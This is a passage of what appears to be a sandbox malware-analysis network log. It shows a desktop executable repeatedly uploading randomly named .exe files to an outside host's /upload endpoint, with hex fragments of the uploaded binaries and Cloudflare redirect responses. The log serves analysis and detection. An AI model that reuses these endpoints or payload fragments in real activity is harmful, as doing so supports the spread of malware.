6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50676	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:13.435364962 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------942ae704a91573a2
Oct 10, 2024 21:03:13.905700922 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:13.906599998 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 34 32 61 65 37 30 34 61 39 31 35 37 33 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------942ae704a91573a2Content-Disposition: form-data; name="file[]"; filename="rifaien2-DlmIbpKoNTOiCR62.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:13.906883001 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:13.912214994 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:13.912240982 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:03:13.912265062 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:13.912317038 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:13.912595034 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:13.912616968 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:13.912689924 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:13.912761927 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:14.223997116 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:14 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:14 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jw9AyTlM%2FEbhPnAceycdvMVZCheELxq7VIMoDoJMevbjeXs5XOcpRuU1lYBERZIhuM%2FQbgfc%2BjVI6FsXXP3A9Fybipg6Rna%2FxK8l1PUfPWEP29M3MfbUrNRKaoarSw5rdDw7fte1vDmMWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de87bea6de9a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50677	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:14.417056084 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------1fb8ec72121b0494
Oct 10, 2024 21:03:14.874090910 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:14.875165939 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 66 62 38 65 63 37 32 31 32 31 62 30 34 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------1fb8ec72121b0494Content-Disposition: form-data; name="file[]"; filename="rifaien2-vo3rAgWF4nEMJ6aR.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:14.875369072 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:14.880697966 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:14.880809069 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:03:14.880844116 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:14.880877018 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:14.880907059 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:14.880933046 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:14.880959034 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:14.881194115 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:15.549601078 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:15 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:15 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XCoGMNmsvlcpeFCmVYgUfXDTjaP40KGWVcsMzBrWCJS4T05IcEU0vf7F%2BxNRLgyK8Ldv5OIjhg8tcLV9di21AcwjW5kJ0N%2B2q%2FFhSorLKyJuKr%2F29MSpbA%2Bb3jQZxJbRk9%2FjDMUcO2go4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de8dc9bf0cc0-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 10, 2024 21:03:15.551565886 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:15 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:15 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XCoGMNmsvlcpeFCmVYgUfXDTjaP40KGWVcsMzBrWCJS4T05IcEU0vf7F%2BxNRLgyK8Ldv5OIjhg8tcLV9di21AcwjW5kJ0N%2B2q%2FFhSorLKyJuKr%2F29MSpbA%2Bb3jQZxJbRk9%2FjDMUcO2go4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de8dc9bf0cc0-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 10, 2024 21:03:15.881088018 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:15 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:15 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XCoGMNmsvlcpeFCmVYgUfXDTjaP40KGWVcsMzBrWCJS4T05IcEU0vf7F%2BxNRLgyK8Ldv5OIjhg8tcLV9di21AcwjW5kJ0N%2B2q%2FFhSorLKyJuKr%2F29MSpbA%2Bb3jQZxJbRk9%2FjDMUcO2go4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de8dc9bf0cc0-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50678	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:16.137958050 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------c8f6f82fc191b291
Oct 10, 2024 21:03:17.150162935 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 38 66 36 66 38 32 66 63 31 39 31 62 32 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------c8f6f82fc191b291Content-Disposition: form-data; name="file[]"; filename="rifaien2-iW7fhM4FzUmYb7vN.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:17.150279045 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:17.384390116 CEST	1236	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:17.485954046 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:17.486984968 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:17.487925053 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:17.490946054 CEST	1236	OUT	Data Raw: 2b 19 c7 46 48 26 fc be c3 b9 46 60 68 00 2c 2a 31 c9 0d be 54 e3 b3 1d 3f 23 0f 95 c1 98 be 6c 0b c2 85 c9 ae 76 0d b8 ff b8 85 00 00 c6 83 c4 05 66 bc 06 85 d2 76 9d bb fb 16 c8 09 c6 83 d4 05 16 cc 06 09 ca 73 10 dc ed bd 83 d8 09 00 8b 83 93 Data Ascii: +FH&F`h,*1T?#lvfvsy}{3P0KPPPVkPOX:<! 2gjOXG<QrPA(.E]0>QQOe5@Bnu~>Ja{
Oct 10, 2024 21:03:17.491353035 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:03:17.491516113 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:17.491558075 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:17.491915941 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:17.491945982 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:17.492027998 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:17.807626009 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:17 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:17 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2FIZusH0aQ0RqBsKArFNMH3dG9bRxxMq6le9tT9mSGCg9suLo4O40szAk911pzyAeW%2B%2B4NaZJafNWKiumKA9JreAEPsYJ90nY7vBubHcFtw6jaTF6jrXUCAUu9IxG4WOUa0OSY6S9GRdqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de98e80143e3-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 